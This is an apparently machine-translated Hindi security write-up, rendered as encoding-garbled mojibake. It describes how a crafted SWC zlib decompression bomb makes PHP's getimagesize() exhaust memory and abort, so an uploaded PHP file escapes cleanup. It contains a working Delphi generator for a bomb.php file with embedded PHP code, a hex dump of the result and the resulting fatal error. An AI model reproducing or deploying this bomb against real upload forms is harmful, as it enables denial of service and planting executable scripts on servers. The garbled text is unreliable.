PHP рдХреЛ 2 MB рдХреА рдЕрдзрд┐рдХрддрдо рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдФрд░ 128 MB рдкрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рдЕрдзрд┐рдХрддрдо рдореЗрдореЛрд░реА рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЧрдгрдирд╛ рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИ рдХрд┐ рджреЛ-рдореЗрдЧрд╛рдмрд╛рдЗрдЯ рд╕рдВрдЧреНрд░рд╣ рдХреЛ рдЕрдирдкреИрдХрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдХрд╣реАрдВ рдПрдХ рдЧреАрдЧрд╛рдмрд╛рдЗрдЯ рдореЗрдореЛрд░реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рдЕрдХреНрд╕рд░, 5-10 рдореЗрдЧрд╛рдмрд╛рдЗрдЯ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░реЛрдВ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЦрд╛рд╕рдХрд░ рдЬрдм рдлрд╝рд╛рдЗрд▓ рд╕реНрдЯреЛрд░реЗрдЬ рдХреА рдмрд╛рдд рдЖрддреА рд╣реИ ... рдпрд╛ рдлреЛрдЯреЛ рдЧреИрд▓рд░реАред



рд╣рдорд╛рд░реЗ рдЬрд╡рд╛рдиреЛрдВ рдХреЗ рдкрд╛рд╕ рд▓реМрдЯрдХрд░ред рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк php_handle_swc()



рдлрд╝рдВрдХреНрд╢рди рдХреЛрдб рд╕реЗ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдореЗрдВ рдмрд╕ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдлрд╝реЙрд░реНрдо рдХреА рдПрдХ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

 0000h: 43 57 53 00 00 00 00 00 78 DA CWS.....x├Ъ
      
      





рдкрд╣рд▓реЗ 3 рдмрд╛рдЗрдЯреНрд╕ рдПрд╕рдбрдмреНрд▓реНрдпреВрд╕реА рдкреНрд░рд╛рд░реВрдк рдХрд╛ рдЬрд╛рджреВ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╣реИ, рдЕрдЧрд▓реЗ 5 рдмрд╛рдЗрдЯреНрд╕ рд╣реЗрдбрд░ рд╣реИрдВ ( php_handle_swc()



рдореЗрдВ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдП рдЧрдП), рдФрд░ рдлрд┐рд░ рдПрдХ рд╕рдВрдХреБрдЪрд┐рдд Zlib рд╕реНрдЯреНрд░реАрдо рд╣реИред рдпрд╣рд╛рдВ рдпрд╣ 78 DA



рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдЕрдзрд┐рдХрддрдо рд╕рдВрдкреАрдбрд╝рди рдЕрдиреБрдкрд╛рдд рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред



рдпрд╣ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рд╕рдВрдкреАрдбрд╝рд┐рдд рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рдбреЗрдЯрд╛ рдХреЗ рдХреБрдЫ рдЯреБрдХрдбрд╝реЗ рдХреЛ рдЦрд░рд╛рдм рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ рдФрд░ рдкреАрдПрдЪрдкреА рд╡рд┐рдШрдЯрди рдЪрдХреНрд░ рдореЗрдВ рдЬрд╛рдПрдЧрд╛, рд╣рдорд╛рд░реЗ "рдмрдо" рдХреЛ рдЕрдирдкреИрдХ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ, рдЖрд╡рдВрдЯрд┐рдд рдореЗрдореЛрд░реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рдПрдЧреА - рдФрд░ ... рджреБрднрд╛рд╖рд┐рдпрд╛ рдЗрд╕рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░реЗрдЧрд╛!



рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ try..catch



(рдпрджрд┐ рдХреЛрдИ рдерд╛) рдХреЛ рдХреЙрд▓ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рд╡рд╣ рдЕрдкрд╡рд╛рдж рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛрдЧрд╛ - рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдорд╛рд░реА рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣рдЯрд╛рдирд╛ - рдФрд░ рдХреЗрд╡рд▓ рдЕрдЧрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдиреЗ рдЕрдкрдирд╛ register_shutdown_handler()



рд╣реИрдВрдбрд▓рд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдпрд╣ рдЕрдкрд╡рд╛рдж рдХреЛ рдЯреНрд░реИрдХ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛрдЧрд╛ред ред рд▓реЗрдХрд┐рди рдЖрдорддреМрд░ рдкрд░ рд╡реЗ рдРрд╕рд╛ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ "рддрд╛рд░реНрдХрд┐рдХ" рддрд░реНрдХ рдирд╣реАрдВ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐ рдкреБрд░рд╛рдиреЗ PHP рдХреА рднрд╛рд╡рдирд╛ рдореЗрдВред



(рдкреВрд░реНрдгрддрд╛ рдХреЗ рд▓рд┐рдП, рдореБрдЭреЗ рдХрд╣рдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ PHP рдореЗрдВ Zlib рд╕рдорд░реНрдерди рдЕрдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, getimagesize()



SWC рд╕рдорд░реНрдерди рднреАред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЕрдзрд┐рдХрд╛рдВрд╢ рд╕рд░реНрд╡рд░ Zlib рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред)




рдореЗрд░реЗ рдкрд╕рдВрджреАрджрд╛ рдбреЗрд▓реНрдлреА рдкрд░ рдмрдо рдЬрдирд░реЗрдЯрд░:

 program BombSWC; {$APPTYPE CONSOLE} uses ZLibEx, Classes; const Header = 'CWS'#0#0#0#0#0; var I: Integer; Input: String; Buf: Pointer; Stream: TFileStream; begin SetLength(Input, 800 * 1024 * 1024); // 800 ??. FillChar(Input[1], Length(Input), 0); ZCompress(@Input[1], Length(Input), Buf, I, zcMax); Stream := TFileStream.Create('bomb.php', fmCreate); Stream.WriteBuffer(Header[1], Length(Header)); Stream.WriteBuffer(Buf^, I); Stream.Seek(-1000, soFromEnd); Input := '<?php phpinfo();?>'; Stream.WriteBuffer(Input[1], Length(Input)); Stream.Free; end.
      
      





рдирддреАрдЬрддрди, 800 рдПрдордмреА рд╕реЗ рд╣рдореЗрдВ 796 рдХреЗрдмреА рдорд┐рд▓рддрд╛ рд╣реИ рдФрд░ рд╡реЗ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддреЗ рд╣реИрдВ:

 0:0000h: 43 57 53 00 00 00 00 00 78 DA EC C1 01 01 00 00 CWS.....x├Ъ├м├Б.... 0:0010h: 00 80 90 FE AF EE 08 0A 00 00 00 00 00 00 00 00 .тВм ...   ... C:6D00h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ C:6D10h: 00 00 00 00 3C 3F 70 68 70 20 70 68 70 69 6E 66 ....<?php phpinf C:6D20h: 6F 28 29 3B 3F 3E 00 00 00 00 00 00 00 00 00 00 o();?>.......... C:6D30h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ...     ... C:70E0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ C:70F0h: 00 00 00 00 00 00 BF 00 EE 1E 00 01 ......┬┐.├о...
      
      





рдЙрдкрд░реЛрдХреНрдд рдлрд╝рд╛рдЗрд▓ рд╕рд╣реА PHP рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ, рдЬреЛ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рдВ, рд╡рд╣ рд╢реБрд░реБрдЖрдд рдФрд░ рдЕрдВрдд рдореЗрдВ рдХрдЪрд░рд╛ рд╣рдЯрд╛ рджреЗрдЧрд╛, рд▓реЗрдХрд┐рди рдпрд╣ рдЙрд╕реЗ рдкреВрд░рд╛ рдХрд░рдиреЗ рд╕реЗ рдирд╣реАрдВ рд░реЛрдХреЗрдЧрд╛ред



рдпрд╣ рдХреЗрд╡рд▓ рд╣рдорд╛рд░реЗ "рдЪрд┐рддреНрд░" рдХреЛ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░рд╣рддрд╛ рд╣реИ ...



рдШрд╛рддрдХ рддреНрд░реБрдЯрд┐: 536870912 рдмрд╛рдЗрдЯреНрд╕ рдХреА рд╕реНрд╡реАрдХреГрдд рдореЗрдореЛрд░реА рдХрд╛ рдЖрдХрд╛рд░ (83491635 рдмрд╛рдЗрдЯреНрд╕ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕)



pwned



- рд╕рд╛рдорд╛рдиреНрдп рд╕реБрд░рдХреНрд╖рд╛ рджреЛрд╖ -



All Articles